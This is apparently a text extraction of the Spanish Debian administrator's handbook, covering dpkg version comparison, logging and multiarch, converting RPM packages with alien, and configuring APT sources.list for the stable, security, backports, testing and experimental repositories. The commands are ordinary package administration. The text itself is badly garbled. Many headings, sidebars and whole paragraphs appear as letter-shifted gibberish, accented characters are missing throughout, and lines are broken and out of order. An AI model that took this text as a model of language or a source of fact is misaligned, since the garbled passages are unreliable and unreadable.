 &TUB PQDJO OFDFTJUB USFT QBSNFUSPT
VO ONFSP EF WFSTJO VO PQFSBEPS EF DPNQBSBDJO Z VO TFHVOEP ONFSP EF
WFSTJO -PT EJGFSFOUFT PQFSBEPSFT QPTJCMFT TPO lt FTUSJDUBNFOUF NFOPS
le
NFOPS P JHVBM
eq JHVBM
ne EJTUJOUP
ge NBZPS P JHVBM
Z gt FTUSJDUBNFOUF
NBZPS
 4J MB DPNQBSBDJO FT DPSSFDUB dpkg EFWVFMWF  YJUP
 EF MP DPOUSBSJP
EFWPMWFS VO WBMPS EJTUJOUP EF DFSP JOEJDBEP VO GBMMP

$
$
0
$
$
1
$
$
1

dpkg --compare-versions 1.2-3 gt 1.1-4


echo $?
dpkg --compare-versions 1.2-3 lt 1.1-4
echo $?
dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1
echo $?

/PUF FM GBMMP JOFTQFSBEP EF MB MUJNB DPNQBSBDJO pre RVF HFOFSBMNFOUF EF


OPUB VOB QSFQVCMJDBDJO OP UJFOF VO TJHOJGJDBEP FTQFDJBM QBSB dpkg Z TUF
DPNQBSB MPT DBSBDUFSFT BMGBCUJDPT EF MB NJTNB GPSNB RVF MPT ONFSPT B 
C  D 
FO PSEFO BMGBCUJDP &T QPS FTUP RVF DPOTJEFSB k0pre3{ NBZPS RVF
k0{ 4J EFTFBNPT RVF FM ONFSP EF WFSTJO EF VO QBRVFUF JOEJRVF RVF FT VOB
QSFQVCMJDBDJO VUJMJ[BNPT FM DBSDUFS WJSHVMJMMB k~{

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1


$ echo $?
0

 "SDIJWP EF SFHJTUSP EF dpkg


mantiene un registro de todas sus acciones en /var/log/dpkg.log. Este registro es extremadamente detallado ya que incluye cada una de las etapas por las que pasa un paquete gestionado por dpkg. Adems de ofrecer una forma de rastrear el funcionamiento de dpkg, sobre
todo ayuda a mantener un historial del desarrollo del sistema: uno puede encontrar el momento exacto en el que se instal o actualiz un paquete, y esta informacin puede ser extremadamente til cuando se intenta entender un cambio de comportamiento reciente. Adems, como
se registran todas las versiones, es sencillo verificar y referenciar informacin con el archivo
changelog.Debian.gz del paquete en cuestin o inclusive con reportes de error online.
dpkg

 $PNQBUJCJMJEBE NVMUJBSRVJUFDUVSB


Todos los paquetes Debian poseen un campo "SDIJUFDUVSF (arquitectura) en su informacin
de control. El valor de este campo puede ser BMM (para los paquetes que son independientes de
la arquitectura) o el nombre de la arquitectura al que est destinado (como amd64, armhf,
). En el ltimo caso, de forma predeterminada, dpkg slo aceptara instalar el paquete si su
arquitectura coincide con la arquitectura del equipo segn es informada por dpkg --printarchitecture.
Esta restriccin asegura que el usuario no termine con binarios compilados para la arquitectura
incorrecta. Todo sera perfecto si no fuese que (algunos) equipos puede ejecutar binarios para
ms de una arquitectura, ya sea de forma nativa (un sistema amd64 puede ejecutar binarios
i386) o a travs de emuladores.

"DUJWBDJO EF NVMUJBSRVJUFDUVSB
La compatibilidad multiarquitectura de dpkg le permite al usuario definir arquitecturas extranjeras que pueden ser instaladas en el sistema actual. Puede hacer esto simplemente ejecutando dpkg --add-architecture como en el ejemplo a continuacin. Existe tambin el correspondiente dpkg --remove-architecture para eliminar la compatibilidad de una arquitectura
extranjera, pero slo puede utilizarlo cuando ya no existan paquetes instalados de dicha arquitectura.
# dpkg --print-architecture
amd64
# dpkg --print-foreign-architectures
# dpkg -i gcc-4.7-base_4.7.2-5_armhf.deb



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

dpkg: error processing gcc-4.7-base_4.7.2-5_armhf.deb (--install):


package architecture (armhf) does not match system (amd64)
Errors were encountered while processing:
gcc-4.7-base_4.7.2-5_armhf.deb
# dpkg --add-architecture armhf
# dpkg --add-architecture armel
# dpkg --print-foreign-architectures
armhf
armel
# dpkg -i gcc-4.7-base_4.7.2-5_armhf.deb
Selecting previously unselected package gcc-4.7-base:armhf.
(Reading database ... 97399 files and directories currently installed.)
Unpacking gcc-4.7-base:armhf (from gcc-4.7-base_4.7.2-5_armhf.deb) ...
Setting up gcc-4.7-base:armhf (4.7.2-5) ...
# dpkg --remove-architecture armhf
dpkg: error: cannot remove architecture 'armhf' currently in use by the database
# dpkg --remove-architecture armel
# dpkg --print-foreign-architectures
armhf

/05"
$PNQBUJCJMJEBE
NVMUJBSRVJUFDUVSB EF "15

"15 EFUFDUBS BVUPNUJDBNFOUF DVBOEP TF IBZB DPOGJHVSBEP B EQLH QBSB


RVF TFB DPNQBUJCMF DPO BSRVJUFDUVSBT FYUSBOFKFSBT Z EFTDBSHBS MPT BSDIJWPT
Packages DPSSFTQPOEJFOUFT EVSBOUF TV QSPDFTP EF BDUVBMJ[BDJO
-VFHP QPES JOTUBMBS QBRVFUFT FYUSBOFKSPT DPO
arquitectura

&/ -" 13$5*$"


6UJMJ[BDJO EF CJOBSJPT J
QSJWBUJWPT FO BNE

apt-get install paquete:

)BZ NVDIPT DBTPT EF VTP QBSB NVMUJBSRVJUFDUVSB QFSP FM NT QPQVMBS FT MB DB


QBDJEBE EF JOTUBMBS CJOBSJPT EF  CJUT J
FO TJTUFNBT EF  CJUT BNE
FO
QBSUJDVMBS EFCJEP B RVF WBSJBT BQMJDBDJPOFT QSJWBUJWBT QPQVMBSFT DPNP 4LZQF

TMP QSPWFFO WFSTJPOFT EF  CJUT


"OUFT EF NVMUJBSRVJUFDUVSB DVBOEP EFTFBCB VUJMJ[BS VOB BQMJDBDJO EF  CJUT
FO VO TJTUFNB EF  CJUT EFCB JOTUBMBS JBMJCT QBSB PCUFOFS MBT WFSTJPOFT EF
 CJUT EF MBT CJCMJPUFDBT NT QPQVMBSFT &TF QBRVFUF FSB VO HSBO NPVOTUSP
RVF SFFNQBRVFUBCB CJCMJPUFDBT EF  CJUT FO VO QBRVFUF kBNE{

$BNCJPT SFMBDJPOBEPT DPO NVMUJBSRVJUFDUVSB


Para poder hacer que multiarquitectura fuese til y usable, se debieron reempaquetar bibliotecas y moverlas a un directorio especfico de la arquitectura para que se pudieran instalar simultneamete varias copias (para diferentes arquitecturas). Estos paquetes actualizados contienen el campo de cabecera .VMUJ"SDITBNF para indicarle al sistema de paquetes que se
pueden instalar simultneamente y sin problemas varias arquitecturas del mismo (y que dichos
paquetes slo satisfacen dependencias de los paquetes de la misma arquitectura). Desde el debut de multiarquitectura en Debian Wheezy, no todas las bibliotecas fueron convertidas (pero
s todas aquellas que se encontraban en ia32-libs!).

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



$ dpkg -s gcc-4.7-base
dpkg-query: error: --status needs a valid package name but 'gcc-4.7-base' is not:
ambiguous package name 'gcc-4.7-base' with more than one installed instance
Use --help for help about querying packages.
$ dpkg -s gcc-4.7-base:amd64 gcc-4.7-base:armhf | grep ^Multi
Multi-Arch: same
Multi-Arch: same
$ dpkg -L libgcc1:amd64 |grep .so
/lib/x86_64-linux-gnu/libgcc_s.so.1
$ dpkg -S /usr/share/doc/gcc-4.7-base/copyright
gcc-4.7-base:armhf, gcc-4.7-base:amd64: /usr/share/doc/gcc-4.7-base/copyright

Vale la pena aclarar que los paquetes que contengan .VMUJ"SDITBNF deben poseer nombres
que inlcuyan su arquitectura para poder identificarlos unvocamente. Tambin tienen la posibilidad de compartir archivos con otras instancias del mismo paquete; dpkg se asegura que todos los paquetes tengan archivos idnticos bit a bit cuando son compartidos. Por ltimo, todas
las instancias de un paquete deben tener la misma versin. Por lo tanto, deben actualizarse simultneamente.
La compatibilidad multiarquitectura tambin viene aparejada con algunos retos interesantes sobre la forma en la que se gestionan las dependencias. Para satisfacer una dependencia se necesita
un paquete marcado con .VMUJ"SDIGPSFJHO o bien un paquete cuya arquitectura coincida
con la del paquete que declara la dependencia (en este proceso de resolucin de dependencias,
se asume que los paquetes independientes de la arquitectura son de la misma arquitectura que el
sistema). Tambin se puede debilitar una dependencia para permitir que cualquier arquitectura
la satisfaga con la sintaxis QBRVFUFBOZ, pero los paquetes extranjeros slo pueden satisfacer
dicha dependencia si estn marcados con .VMUJ"SDIBMMPXFE.

 $PFYJTUFODJB DPO PUSPT TJTUFNBT QBRVFUFT


Los paquetes Debian no son los nicos paquetes de software utilizados en el mundo del software
libre. El principal competidor es el formato RPM de la distribucin Red Hat Linux y sus muchos
derivados. Red Hat es una distribucin comercial muy popular. Por lo tanto, es muy comn que
el software provisto por terceros sea ofrecido como paquetes RPM en lugar de paquetes Debian.
En este caso debe saber que el programa rpm, que gestiona los paquetes RPM, est disponible
como un paquete Debian; por lo que es posible utilizar este formato de paquetes en Debian.
Debe tener cuidado sin embargo, y limitar estas manipulaciones a extraer la informacin de
un paquete o verificar su integridad. No es, en realidad, razonable utilizar rpm para instalar un
paquete RPM en un sistema Debian; RPM utiliza su propia base de datos, separada de aquella del
software nativo (como dpkg. Es por esto que no es posible asegurar una coexistencia estable de
dos sistemas de paquetes.
Por el otro lado, la herramienta alien puede convertir paquetes RPM en paquetes Debian y viceversa.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

$0.6/*%"%
'PNFOUBOEP MB BEPQDJO EF
.deb

4J VUJMJ[B FM QSPHSBNB alien GSFDVFOUFNFOUF QBSB JOTUBMBS QBRVFUFT 31. EF BM


HVOP EF TVT QSPWFFEPSFT OP EVEF FO FTDSJCJSMF Z FYQSFTBS TV GVFSUF QSFGFSFODJB
QPS FM GPSNBUP .deb /PUF RVF FM GPSNBUP EFM QBRVFUF OP FT UPEP VO QBRVFUF
.deb DPOTUSVJEP DPO alien QSFQBSBEP QBSB VOB WFSTJO EF %FCJBO EJGFSFOUF B
MB RVF VUJMJ[B P JODMVTJWF QBSB VOB EJTUSJCVDJO EFSJWBEB DPNP 6CVOUV QSPC
BCMFNFOUF OP PGSF[DB FM NJTNP OJWFM EF DBMJEBE F JOUFHSBDJO RVF VO QBRVFUF
EFTBSSPMMBEP FTQFDGJDBNFOUF QBSB %FCJBO 8IFF[Z

$ fakeroot alien --to-deb phpMyAdmin-2.0.5-2.noarch.rpm


phpmyadmin_2.0.5-2_all.deb generated
$ ls -s phpmyadmin_2.0.5-2_all.deb
64 phpmyadmin_2.0.5-2_all.deb

Encontrar que el proceso es extremadamente simple. Debe saber, sin embargo, que el paquete generado no tiene informacin sobre dependencias ya que las dependencias de los dos formatos de paquetes no tienen una correspondencia sistemtica. El administrador debe, por lo
tanto, asegurarse manualmente que el paquete convertido funcionar correctamente y esta es
la razn por la que se deben evitar los paquetes Debian as generados tanto como sea posible.
Afortunadamente, Debian tiene la coleccin ms grande de paquetes de software entre todas las
distribuciones y es probable que lo que sea que busque ya est all.
Revisando la pgina de manual del programa alien tambin notar que este programa es compatible con otros formatos de paquetes, en especial el utilizado por la distribucin Slackware
(que est compuesto de un simple compendio tar.gz).
La estabilidad del software desplegado con la herramienta dpkg contribuye a la fama de Debian.
La suite de herramientas APT descrita en el prximo captulo preserva esta ventaja al mismo
tiempo que liberan al administrador de la carga de gestionar el estado de los paquetes, una tarea
difcil pero necesaria.

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



1BMBCSBT DMBWF
BQUHFU
BQUDBDIF
BQUJUVEF
TZOBQUJD
TPVSDFTMJTU
BQUDESPN

$BQUVMP

.BOUFOJNJFOUP Z
BDUVBMJ[BDJPOFT MBT
IFSSBNJFOUBT "15

$POUFOJEPT
$POUFOJEP EFM BSDIJWP sources.list 
-B PSEFO apt-cache 
$PNQSPCBDJO EF MB BVUFOUJDJEBE EF VO QBRVFUF 
.BOVUFODJO EF VO TJTUFNB BDUVBMJ[BEP 

-PT QSPHSBNBT aptitude Z apt-get 


*OUFSGBDFT aptitude synaptic 

"DUVBMJ[BDJO EF VOB EJTUSJCVDJO FTUBCMF B MB TJHVJFOUF 

"DUVBMJ[BDJPOFT BVUPNUJDBT 

#TRVFEB EF QBRVFUFT 

Lo que hace a Debian tan popular entre administradores es lo sencillo que resulta
instalar software y lo fcil que se puede actualizar el sistema completo. Esta ventaja
nica es en gran parte debido al programa APT, que los administradores de Falcot
Corp estudiaron con entusiasmo.

APT son las siglas de herramienta avanzada de paquetes (Advanced Package Tool). Lo que
hace este programa avanzado es su enfoque sobre paquetes. No slo los evala individualmente sino que los considera como un todo y produce la mejor combinacin posible de paquetes
dependiendo de lo que est disponible y sea compatible (segn dependencias).
70$"#6-"3*0
0SJHFO EFM QBRVFUF Z
QBRVFUF GVFOUF

&O JOHMT TF VUJMJ[B MB NJTNB QBMBCSB QBSB kPSJHFO{ Z kGVFOUF{ kTPVSDF{ 1PS
MP UBOUP FT TFODJMMP DPOGVOEJS VO QBRVFUF GVFOUF kTPVSDF QBDLBHF{
RVF DPO
UJFOF FM DEJHP GVFOUF EF VO QSPHSBNB DPO VO kPSJHFO EF QBRVFUFT{ kQBDLBHF
TPVSDF{
FT EFDJS VO SFQPTJUPSJP TJUJP XFC TFSWJEPS '51 $%30. EJSFDUPSJP
MPDBM FUD
RVF DPOUJFOF QBRVFUFT

Se necesita proveerle a APT una lista de orgenes de paquetes: el archivo /etc/apt/sources.


list contendr una lista de diferentes repositorios (sources) que publican paquetes Debian.
APT importar estas listas de paquetes publicadas por cada uno de estas fuentes. Realiza esta
operacin descargando los archivos Packages.{gz,bz2,lzma,xz} (en el caso de una fuente de
paquetes binarios) y archivos Sources.{gz,bz2,lzma,xz} (en el caso de una fuente de paquetes fuente) y analizando sus contenidos. Cuando ya posee una copia antigua de estos archivos,
APT puede actualizarla slo descargando las diferencias (revise el recuadro Actualizacin incremental pgina 114).
70-7&3 " -04
$*.*&/504
$PNQSFTJO gzip bzip2
LZMA Z XZ

-B FYUFOTJO .gz IBDF SFGFSFODJB B VO BSDIJWP RVF IB TJEP DPNQSJNJEP DPO


MB VUJMJEBE gzip gzip FT MB VUJMJEBE USBEJDJPOBM 6OJY SQJEB Z FGJDJFOUF QBSB
DPNQSJNJS BSDIJWPT -B IFSSBNJFOUBT NT NPEFSOBT BMDBO[BO VOB NBZPS QSP
QPSDJO EF DPNQSFTJO QFSP QSFDJTBO EF NT SFDVSTPT UJFNQP EF DMDVMP Z
NFNPSJB
QBSB DPNQSJNJS Z EFTDPNQSJNJS VO BSDIJWP "EFNT EF TUBT Z QPS
PSEFO EF BQBSJDJO FTUO bzip2 DSFB BSDIJWPT DPO FYUFOTJO .bz2
lzma DSFB
BSDIJWPT .lzma
Z xz DSFB BSDIJWPT .xz


 $POUFOJEP EFM BSDIJWP sources.list


 4JOUBYJT
Cada lnea del archivo /etc/apt/sources.list contiene una descripcin de un origen, compuesta por 3 partes separadas por espacios.
El primer campo indica el tipo de origen:
EFC para paquetes binarios,
EFCTSD para paquetes fuente.
El segundo campo provee la URL base para el origen (combinado con los nombres de archivo
presentes en los archivos Packages.gz debe generar una URL completa y vlida): ste puede
consistir de una rplica Debian o en cualquier otro compendio de paquetes configurado por un
tercero. La URL puede comenzar con GJMF para indicar un origen local instalado en la jerarqua
de archivos del sistema, con IQ para indicar un origen disponible en un servidor web o con



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Q para un origen disponible en un servidor FTP. La URL tambin puede comenzar con DESPN
 para instalaciones desde CD-ROM/DVD-ROM/Blu-ray, aunque esto es menos frecuente ya que
los mtodos de instalacin desde la red son ms y ms comunes.
La sintaxis del ltimo campo depende de la estructura del repositorio. En los casos ms simples,
puede indicar un subdirectorio (con la barra final necesaria) del origen deseado (generalmente
suele ser ./ que hace referencia a la ausencia de un subdirectorio los paquetes se encuentran directamente en la URL especificada). Pero en el caso ms comn, los repositorios tendrn
la estructura similar a una rplica Debian, con varias distribuciones y varios componentes en
cada una. En estos casos, utilice la distribucin elegida (por su nombre cdigo revise la lista
en el recuadro Bruce Perens, un lder polmico pgina 9 o su suite correspondiente
TUBCMF, UFTUJOH, VOTUBCMF) y luego los componentes (o secciones) que desea activar (en un repositorio Debian tpico: NBJO, DPOUSJC y OPOGSFF).
70$"#6-"3*0
-PT DPNQFOEJPT main
contrib Z non-free

%FCJBO VUJMJ[B USFT TFDDJPOFT QBSB EJGFSFODJBS MPT QBRVFUFT TFHO MBT MJDFODJBT
TFMFDDJPOBEBT QPS MPT BVUPSFT EF DBEB USBCBKP Main SFOF UPEPT MPT QBRVFUFT
RVF DVNQMFO DPNQMFUBNFOUF DPO MBT %JSFDUSJDFT EF TPXBSF MJCSF EF %FCJBO
&M DPNQFOEJP non-free FT EJGFSFOUF QPSRVF DPOUJFOF TPXBSF RVF OP TJHVF
DPNQMFUBNFOUF
FTUPT QSJODJQJPT QFSP RVF BO QVFEFO TFS EJTUSJCVJEPT TJO SF
TUSJDDJPOFT &TUF DPNQFOEJP RVF OP FT QBSUF EF %FCJBO PGJDJBMNFOUF FT VO
TFSWJDJP QBSB MPT VTVBSJPT RVF QVFEFO MMFHBS B OFDFTJUBS BMHVOPT EF BRVFMMPT
QSPHSBNBT TJO FNCBSHP %FCJBO TJFNQSF SFDPNJFOEB EBS QSJPSJEBE BM TP
XBSF MJCSF -B FYJTUFODJB EF FTUB TFDDJO SFQSFTFOUB VO QSPCMFNB DPOTJEFSBCMF
QBSB 3JDIBSE . 4UBMMNBO Z FT MB SB[O QPS MB RVF MB 'SFF 4PXBSF 'PVOEBUJPO
OP SFDPNJFOEB %FCJBO B MPT VTVBSJPT
Contrib DPOUSJCVDJPOFT
FT VO DPOKVOUP EF TPXBSF EF DEJHP BCJFSUP RVF OP

QVFEF GVODJPOBS TJO FMFNFOUPT QSJWBUJWPT &TUPT FMFNFOUPT QVFEFO TFS TP
XBSF EF MB TFDDJO non-free P BSDIJWPT QSJWBUJWPT DPNP 30.T EF KVFHPT #*04
QBSB DPOTPMBT FUD Contrib UBNCJO JODMVZF TPXBSF MJCSF DVZB DPNQJMBDJO
OFDFTJUB FMFNFOUPT QSJWBUJWPT *OJDJBMNFOUF FTUF FSB FM DBTP QBSB MB TVJUF EF
PGJDJOB 0QFO0JDFPSH RVF OFDFTJUBCB VO FOUPSOP +BWB QSJWBUJWP

46(&3&/$*"
"SDIJWPT /etc/apt/sources.
list.d/*.list

4J TF IBDF SFGFSFODJB B NVDIPT PSHFOFT EF QBRVFUFT QVFEF TFS UJM EJWJEJS


MPT FO WBSJPT BSDIJWPT $BEB QBSUF TF BMNBDFOB FO /etc/apt/sources.list.
d/nombre de archivo.list WFS SFDVBESP k %JSFDUPSJPT UFSNJOBEPT DPO .d{
QHJOB 


Los elementos DESPN describen los CD/DVD-ROMs que posee. A diferencia de otros elementos, un CD-ROM no siempre est disponible ya que debe encontrarse en el dispositivo y slo un
disco puede leerse en un momento dado. Por estas razones, se gestionan estos elementos de
una forma ligeramente diferente y necesitan ser agregados con el programa apt-cdrom, usualmente ejecutado con el parmetro BEE. Este programa solicitar que introduzca el disco en el
dispositivo y navegar su contenido en busca de archivos Packages. Utilizar dichos achivos
para actualizar su base de datos de paquetes disponibles (generalmente realizada cuando ejecuta apt-get update). Desde ese momento en adelante, APT puede solicitarle introducir el disco
si necesita uno de sus paquetes.

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



 3FQPTJUPSJPT QBSB VTVBSJPT EF 4UBCMF


Este es un archivo sources.list estndar para un sistema que ejecuta la versin Stable de Debian:
&KFNQMP 

FM BSDIJWP /etc/apt/sources.list QBSB VTVBSJPT EF %FCJBO kTUBCMF{

# Actualizaciones de seguridad
deb http://security.debian.org/ wheezy/updates main contrib non-free
deb-src http://security.debian.org/ wheezy/updates main contrib non-free
## Rplica debian
# Repositorio base
deb http://ftp.debian.org/debian wheezy main contrib non-free
deb-src http://ftp.debian.org/debian wheezy main contrib non-free
# Actualizaciones de stable
deb http://ftp.debian.org/debian wheezy-updates main contrib non-free
deb-src http://ftp.debian.org/debian wheezy-updates main contrib non-free
# Retroadaptaciones para stable
deb http://ftp.debian.org/debian wheezy-backports main contrib non-free
deb-src http://ftp.debian.org/debian wheezy-backports main contrib non-free

Este archivo enumera todos los orgenes de paquetes asociados con la versin Wheezy de Debian (la versin Stable cuando esto fue escrito). Decidimos utilizar wheezy explcitamente en
lugar del alias stable correspondiente (TUBCMF, TUBCMFVQEBUFT, TUBCMFCBDLQPSUT) ya que no
deseamos que se modifique la distribucin correspondiente fuera de nuestro control cuando se
publique la siguiente versin estable.
7*45" 31*%"
apt-spy

&TUF TPXBSF DPNQSVFCB MB WFMPDJEBE EF EFTDBSHB EFTEF WBSJBT SQMJDBT %F


CJBO Z HFOFSB VO BSDIJWP sources.list RVF BQVOUB B MB SQMJDB NT SQJEB
-B SQMJDB TFMFDDJPOBEB EVSBOUF MB JOTUBMBDJO OPSNBMNFOUF FT MB BEFDVBEB ZB
RVF MB TFMFDDJO EF MB NJTNB TF CBTB FO FM QBT 4JO FNCBSHP TJ MB EFTDBSHB FT
VO QPDP MFOUB P USBT DBNCJBS EF VCJDBDJO QVFEF QSPCBS FKFDVUBS MB BQMJDBDJO
EJTQPOJCMF FO FM QBRVFUF BQUTQZ

La mayora de los paquetes provendrn del repositorio base que contiene todos los paquetes
pero rara vez es actualizado (alrededor de una vez cada 2 meses para versiones menores
point release). Los otros repositorios son parciales (no contienen todos los paquetes) y pueden
almacenar actualizaciones (paquetes con versiones ms recientes) para que instale APT. Las secciones siguientes explicarn su propsito y las reglas que regulan cada uno de estos repositorios.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Sepa que cuando la versin deseada de un paquete se encuentra disponible en varios repositorios, se utilizar el que se encuentre primero en el archivo sources.list. Por esta razn,
generalmente se agregan orgenes no oficiales al final del archivo.
Como nota adicional, la mayora de lo que diga esta seccin sobre Stable tambin es aplicable a
Oldstable ya que esta ltima es slo una versin Stable ms antigua que se mantiene en paralelo.

"DUVBMJ[BDJPOFT EF TFHVSJEBE
Las actualizaciones de seguridad no se encuentran en la red de rplicas de Debian usual sino
en TFDVSJUZEFCJBOPSH (en un conjunto pequeo de equipos administrados por los Administradores de sistemas de Debian). Este compendio contiene las actualizaciones de seguridad
(preparadas por el equipo de seguridad de Debian, Debian Security Team, y/o por los encargados de los paquetes) para la distribucin Stable.
El servidor tambin puede contener actualizaciones de seguridad para Testing, pero esto no
sucede frecuentemente ya que dichas actualizaciones suelen llegar a Testing a travs del flujo
normal de actualizaciones provenientes de Unstable.

"DUVBMJ[BDJPOFT EF 4UBCMF
Las actualizaciones de stable no implican riesgos de seguridad pero son consideradas suficientemente importantes como para ser enviadas a los usuarios antes de la publicacin de la siguiente
versin menor de stable.
Este repositorio generalmente incluir correcciones de errores crticos que no pudieron ser actualizados antes de la publicacin o que fueron introducidos en actualizaciones posteriores.
Dependiendo de la urgencia, tambin puede contener actualizaciones de paquetes que evolucionaron con el tiempo como las reglas de deteccin de spam de spamassassin, la base de datos
de virus de clamav o las reglas de horarios de verano de todos los husos horarios (tzdata).
En la prctica, este repositorio es un subconjunto del repositorio QSPQPTFEVQEBUFT, seleccionado cuidadosamente por los Gestores de la versin estable (Stable Release Managers).

"DUVBMJ[BDJPOFT QSPQVFTUBT
Una vez publicada, la distribucin Stable se actualiza slo una vez cada 2 meses. El repositorio
QSPQPTFEVQEBUFT es donde se preparan las futuras actualizaciones (bajo la supervisin de los
Gestores de la versin estable, Stable Release Managers).
Las actualizaciones de seguridad y de estable documentadas en las secciones anteriores siempre
son parte de este repositorio, pero tambin habr otras ya que los encargados de los paquetes
tambin tienen la oportunidad de corregir errores importantes que no justifican que se publique
una nueva versin inmediatamente.

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



Cualquiera puede utilizar este repositorio para probar esas actualizaciones antes de su publicacin oficial. El extracto a continuacin utiliza el alias XIFF[ZQSPQPTFEVQEBUFT que es ms
explcito y ms consistente ya que tambin existe TRVFF[FQSPQPTFEVQEBUFT (para las actualizaciones de Oldstable):
deb http://ftp.debian.org/debian wheezy-proposed-updates main contrib non-free

3FUSPBEBQUBDJPOFT QBSB 4UBCMF


El repositorio TUBCMFCBDLQPSUT contiene retroadaptaciones de paquetes. Es trmino hace referencia a paquetes de software reciente que fue recompilado para una distribucin antigua,
generalmente para Stable.
Cuando la distribucin entra en aos, muchos proyectos de software habrn publicado nuevas
versiones que no estn integradas en la versin actual de Stable (que slo es modificada para
corregir los problemas ms criticos, como los problemas de seguridad). Debido a que las distribuciones Testing y Unstable son ms riesgosas, los encargados de paquetes a veces ofrecen recompilaciones de aplicaciones de software recientes para Stable que tienen la ventaja de limitar
la potencial inestabilidad a un nmero pequeo de paquetes seleccionados.
http://backports.debian.org
El repositorio TUBCMFCBDLQPSUT ahora est disponible en las rplicas Debian usuales. Pero las
retroadaptaciones para Squeeze continan almacenadas en un servidor dedicado (CBDLQPSUTEFC
JBOPSH) y necesitan de la siguiente lnea en el archivo sources.list:
deb http://backports.debian.org/debian-backports squeeze-backports main contrib non free

Siempre se crean las retroadaptaciones de TUBCMFCBDLQPSUT de los paquetes disponibles en Testing. Esto asegura que todas las retroadaptaciones instaladas se actualizarn a la versin estable
correspondiente cuando se encuentre disponible la siguiente versin estable de Debian.
An cuando este repositorio provea versiones de paquetes ms nuevas, APT no las instalar a
menos que le indique explcitamente que lo haga (o si ya lo hizo con una versin anterior de
dicha retroadaptacin):
$ sudo apt-get install package/wheezy-backports
$ sudo apt-get install -t wheezy-backports package

 3FQPTJUPSJPT QBSB VTVBSJPT EF 5FTUJOH6OTUBCMF


Este es un archivo sources.list estndar para un sistema que ejecuta la versin Testing o Unstable de Debian:



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

&KFNQMP 

"SDIJWP sources.list QBSB VTVBSJPT EF %FCJBO 5FTUJOH 6OTUBCMF

# Unstable
deb http://ftp.debian.org/debian unstable main contrib non-free
deb-src http://ftp.debian.org/debian unstable main contrib non-free
# Testing
deb http://ftp.debian.org/debian testing main contrib non-free
deb-src http://ftp.debian.org/debian testing main contrib non-free
# Stable
deb http://ftp.debian.org/debian stable main contrib non-free
deb-src http://ftp.debian.org/debian stable main contrib non-free
# Actualizaciones de seguridad
deb http://security.debian.org/ stable/updates main contrib non-free
deb http://security.debian.org/ testing/updates main contrib non-free
deb-src http://security.debian.org/ stable/updates main contrib non-free
deb-src http://security.debian.org/ testing/updates main contrib non-free

Con este archivo sources.list, APT instalar paquetes de Unstable. Si esto no es lo que desea,
utilice la configuracin "15%FGBVMU3FMFBTF (revise la Seccin 6.2.3, Actualizacin del sistema pgina 114) para indicarle a APT que utilice los paquetes de otra distribucin (en este
caso probablemente Testing).
Existen buenas razones para incluir todos estos repositorios, inclusive cuando slo uno debera
ser suficiente. Los usuarios de Testing apreciarn la posibilidad de seleccionar paquetes especficos de Unstable cuando la versin en Testing posee un error molesto. Por el otro lado, los usuarios
de Unstable afectados por regresiones inesperadas pueden desactualizar paquetes a la versin de
Testing (que supuestamente funciona).
El incluir Stable es ms discutible, pero generalmente proveer acceso a algunos paquetes que
fueron eliminados de las versiones en desarrollo. Tambin asegura que obtendr las ltimas actualizaciones para paquetes que no fueron modificados desde la publicacin de la ltima versin
estable.

&M SFQPTJUPSJP &YQFSJNFOUBM


El compendio de paquetes Experimental se encuentra en todas las rplicas Debian y contiene paquetes que no estn en Unstable an debido a que su calidad est bajo los estndares normales
generalmente son versiones en desarrollo del software o versiones previas (alpha, beta, candidato de publicacin...). Un paquete tambin puede ser enviado ah luego de sufrir muchos
cambios que pueden generar problemas. El desarrollador luego intentar descubrirlos gracias
a usuarios avanzados que pueden manejar problemas importantes. Luego de esta etapa, mueve

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



el paquete a Unstable, donde alcanza una audiencia ms grande y donde ser probado en mucho
ms detalle.
Los usuarios que usan Experimental generalmente no les importa romper su sistema y luego
repararlo. Esta distribucin les da la posibilidad de importar un paquete que el usuario desea
probar o usar segn lo necesita. Esto es exactamente el enfoque que toma Debian ya que agregarlo en el archivo sources.list de APT no conlleva el uso sistemtico de sus paquetes. La lnea
a agregar es:
deb http://ftp.debian.org/debian experimental main contrib non-free

 3FDVSTPT OP PGJDJBMFT BQUHFUPSH Z NFOUPSTEFCJBOOFU


Hay varios orgenes de paquetes Debian no oficiales configurados por usuarios avanzados que
recompilaron software, programadores que quieren poner sus creaciones a disposicin de todos e inclusive desarrolladores Debian que ofrecen versiones previas de sus paquetes. Se cre
un sitio web para encontrar estos orgenes alternativos ms fcilmente. Contiene una lista impresionante de orgenes de paquetes Debian que pueden ser integrados inmediatamente a los
archivos sources.list. Sin embargo, tenga cuidado de no agregar paquetes al azar. Cada origen est pensado para una versin particular de Debian (la utilizada para compilar los paquetes
en cuestin); cada usuario debe mantener cierta coherencia en lo que decide instalar.
http://www.apt-get.org/
El sitio NFOUPSTEFCJBOOFU tambin es interesante ya que rene los paquetes fuente creados
por los candidatos al estado de desarrollador Debian oficial o por voluntarios que desean crear
paquetes Debian sin pasar por ese proceso de integracin. Los paquetes disponibles aqu no tiene
garantas de calidad, asegrese de revisar su origen e integridad y prubelos antes de considerar
utilizarlos en produccin.
$0.6/*%"%
-PT TJUJPT debian.net

&M EPNJOJP EFCJBOOFU OP FT VO SFDVSTP PGJDJBM EFM QSPZFDUP %FCJBO $BEB EFTBS
SPMMBEPS %FCJBO QVFEF VUJMJ[BS FTUF OPNCSF EF EPNJOJP QBSB VTP QSPQJP &TUPT
TJUJPT XFC QVFEFO DPOUFOFS TFSWJDJPT OP PGJDJBMFT B WFDFT TJUJPT QFSTPOBMFT

